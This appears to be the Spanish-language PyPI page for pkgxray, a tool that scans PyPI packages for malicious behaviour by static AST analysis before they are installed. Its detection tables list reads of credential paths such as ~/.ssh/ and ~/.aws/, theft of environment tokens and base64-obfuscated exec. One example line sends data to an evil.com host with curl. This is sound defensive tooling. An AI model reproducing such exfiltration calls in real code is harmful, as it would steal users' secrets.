pkgxray 0.2.2

Analyze PyPI packages for suspicious behavior before installing them

pkgxray

Radiografía de paquetes PyPI antes de instalarlos.

Cuando ejecutas pip install algo confías ciegamente en que ese código es seguro. pkgxray descarga el paquete sin instalarlo, extrae el código fuente y ejecuta 8 analizadores especializados basados en AST para detectar patrones maliciosos, todo antes de que una sola línea del paquete se ejecute en tu máquina.

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El problema que resuelve

En PyPI existen paquetes maliciosos que:

• Roban API keys y tokens de variables de entorno
• Abren conexiones de red para exfiltrar datos
• Ejecutan comandos del sistema en segundo plano
• Inyectan código en setup.py que corre automáticamente al instalar
• Esconden payloads con exec(base64.b64decode(...))

Herramientas como pip-audit solo detectan CVEs ya reportados — no analizan el comportamiento del código. pkgxray cubre ese vacío con análisis estático AST.

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Instalación

pip install pkgxray

Requiere Python 3.9+. Solo dos dependencias externas: click y rich.

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Inicio rápido

Línea de comandos

# Analizar un paquete (salida en terminal con colores)
pkgxray scan requests

# Salida en JSON
pkgxray scan requests --format json

# Guardar reporte HTML
pkgxray scan requests --format html -o reporte.html

# Analizar una versión específica
pkgxray scan requests --version 2.28.0

API de Python

from pkgxray import scan
from pkgxray.reporter import generate_report

result = scan("requests")

print(f"Score de riesgo : {result.risk_score}/100")
print(f"Nivel de riesgo : {result.risk_level}")
print(f"Archivos analizados: {result.files_analyzed}")
print(f"Hallazgos totales  : {len(result.findings)}")

# Inspeccionar hallazgos individuales
for finding in result.findings:
    print(f"[{finding.severity.value.upper()}] {finding.analyzer_name}")
    print(f"  {finding.filename}:{finding.line_number}")
    print(f"  {finding.description}")

# Exportar
json_report = generate_report(result, format="json")
generate_report(result, format="html", output_path="reporte.html")

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Cómo funciona

pkgxray scan <paquete>
      │
      ▼
1. DESCARGA   → Consulta la API JSON de PyPI
                Descarga el .tar.gz o .whl (sin instalarlo)
      │
      ▼
2. EXTRACCIÓN → Descomprime el archivo
                Extrae todos los archivos .py (incluyendo setup.py)
      │
      ▼
3. ANÁLISIS   → Ejecuta 8 analizadores basados en AST en cada archivo
                El parseo AST entiende estructura del código, no solo texto
      │
      ▼
4. PUNTUACIÓN → Pondera hallazgos por severidad:
                LOW=1  MEDIUM=3  HIGH=7  CRITICAL=15
                Tope por analizador para evitar inflación por repetición
                Score final: 0–100
      │
      ▼
5. REPORTE    → Terminal (con colores via rich), JSON o HTML

¿Por qué AST en lugar de regex?

• Entiende la estructura del código, no solo el texto
• Más difícil de evadir: renombrar una variable no lo engaña
• Distingue dict.get() de requests.get() — no genera falsos positivos
• Usa el módulo ast de la biblioteca estándar, sin dependencias adicionales

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Los 8 analizadores

Analizador	Qué detecta	Severidad
code_exec	eval(), exec(), compile()	HIGH – CRITICAL
network	urlopen(), requests.get(), socket.connect()	HIGH – CRITICAL
filesystem	os.remove(), shutil.rmtree(), rutas sensibles (/etc/passwd, ~/.ssh/, ~/.aws/)	HIGH – CRITICAL
env_access	os.environ, os.getenv(), acceso a API keys y tokens	LOW – HIGH
subprocess	subprocess.Popen(), subprocess.run(), os.system(), os.execvp()	HIGH – CRITICAL
obfuscation	exec(base64.b64decode(...)), bytes.fromhex(), strings con escape hexadecimal	MEDIUM – CRITICAL
setup_scripts	Hooks post-instalación en setup.py que sobreescriben install.run()	HIGH – CRITICAL
dynamic_imports	__import__(), importlib.import_module() con argumentos dinámicos	MEDIUM – HIGH

Detección de ejecución al nivel del módulo

pkgxray distingue entre código que se ejecuta automáticamente al importar el paquete y código dentro de funciones que requiere invocación explícita.

# CRÍTICO: corre en el momento que el usuario hace "import paquete"
subprocess.run(["curl", "http://evil.com/steal"])

# ALTO: solo corre si el usuario llama explícitamente a la función
def build():
    subprocess.run(["make"])

Las llamadas peligrosas al nivel del módulo se elevan automáticamente a CRITICAL porque se ejecutarían sin ninguna acción del usuario.

Qué NO flaggea (precisión)

pkgxray está calibrado para minimizar falsos positivos en paquetes legítimos:

• import requests — importar una librería no es sospechoso, solo usarla
• import subprocess — igual, solo se reportan las llamadas concretas
• open(archivo, "w") — escribir archivos es demasiado común para flaggearse
• base64.b64decode(data) — codificación estándar para auth headers, imágenes, TLS
• import os en setup.py — casi todo setup.py lo importa legítimamente
• dict.get(), config.get() — no se confunden con llamadas HTTP

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Escala de riesgo y scores de referencia

Score	Nivel	Interpretación
0 – 20	LOW	Sin comportamiento sospechoso relevante
21 – 40	MODERATE	Algunos patrones comunes, probablemente legítimos
41 – 70	HIGH	Comportamiento activo de red, sistema o archivos
71 – 100	CRITICAL	Múltiples categorías de riesgo o patrones de malware

Scores aproximados de paquetes conocidos (referencia orientativa):

Paquete	Score típico	Por qué
more-itertools	~15 LOW	Utilidades puras, sin red ni sistema
attrs	~25 MODERATE	Introspección de clases, sin comportamiento externo
click	~35 MODERATE	Algo de env y filesystem para la CLI
requests	~55 HIGH	Conexiones HTTP activas, importa socket
paramiko	~65 HIGH	Red (SSH), criptografía, lectura de archivos de clave

Un score alto no significa que el paquete sea malicioso — significa que tiene comportamiento que merece revisión. requests tiene score HIGH porque realmente hace conexiones de red, que es exactamente lo que se espera de un cliente HTTP.

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Comparativa con otras herramientas

Herramienta	Qué analiza	Cuándo actúa	Analiza código
pip-audit / safety	CVEs en base de datos pública	Después de instalar	No
bandit	Tu propio código fuente	En tu repositorio	Sí, solo tu código
pkgxray	Comportamiento de paquetes de terceros	Antes de instalar	Sí, con AST

pkgxray es complementario a pip-audit, no un reemplazo. Lo ideal es usar ambos: pip-audit detecta vulnerabilidades conocidas en lo que ya tienes instalado, pkgxray analiza el comportamiento de lo que estás a punto de instalar.

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Docker

# Ejecutar los tests
docker-compose run test

# Analizar "requests"
docker-compose run scan

# Analizar "requests" con salida JSON
docker-compose run scan-json

O directamente:

docker build -t pkgxray .
docker run pkgxray scan requests
docker run pkgxray scan requests --format json

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Desarrollo

# Clonar e instalar en modo desarrollo
git clone https://github.com/maip-fred/pkgxray.git
cd pkgxray
pip install -e ".[dev]"

# Tests unitarios (sin red, rápidos)
pytest tests/ -v -m "not slow"

# Todos los tests incluyendo integración
pytest tests/ -v

# Con reporte de cobertura
pytest tests/ --cov=pkgxray --cov-report=html -m "not slow"

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Licencia

MIT — ver LICENSE